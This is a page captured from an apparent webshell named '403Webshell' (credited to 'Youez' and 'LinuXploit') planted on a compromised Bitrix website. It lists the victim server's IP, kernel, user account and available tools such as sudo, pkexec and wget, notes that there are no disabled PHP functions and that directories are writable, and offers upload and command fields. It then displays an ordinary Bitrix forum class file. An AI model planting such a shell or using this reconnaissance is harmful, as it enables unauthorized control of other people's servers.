403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/internals/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/internals/entity.php
<?php

namespace Bitrix\Forum\Internals;

use Bitrix\Forum\ForumTable;
use Bitrix\Forum\Forum;
use Bitrix\Forum\Permission;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Event;
use Bitrix\Main\SystemException;

abstract class Entity implements \ArrayAccess
{
	use \Bitrix\Forum\Internals\EntityBaseMethods;

	/** @var int */
	protected $authorId;
	/** @var Forum */
	protected $forum;
	/** @var array */
	protected $data;

	public function __construct($id)
	{
		$this->id = $id;
		if ($id <= 0)
		{
			throw new \Bitrix\Main\ArgumentNullException(static::class . " empty id.");
		}
		$this->init();

		$this->forum = new Forum($this->data["FORUM_ID"]);

		if ($this->authorId === null)
		{
			throw new \Bitrix\Main\ArgumentNullException("Author id must be defined.");
		}

		$this->errorCollection = new \Bitrix\Main\ErrorCollection();
	}
	/**
	 * Init Entity data, Forum
	 * @return $this
	 */
	abstract protected function init();

	public function getId()
	{
		return $this->id;
	}

	public function getForumId()
	{
		return $this->forum->getId();
	}

	public function getAuthorId()
	{
		return $this->authorId;
	}
	// entity actions
	abstract public function edit(array $fields);
	abstract public function remove();
	abstract public static function create($parentObject, array $fields);

	// crud actions
	//abstract public static function add($parentObject, array $fields);
	abstract public static function update(int $id, array &$fields);
	abstract public static function delete(int $id);
}

Youez - 2016 - github.com/yon3zu
LinuXploit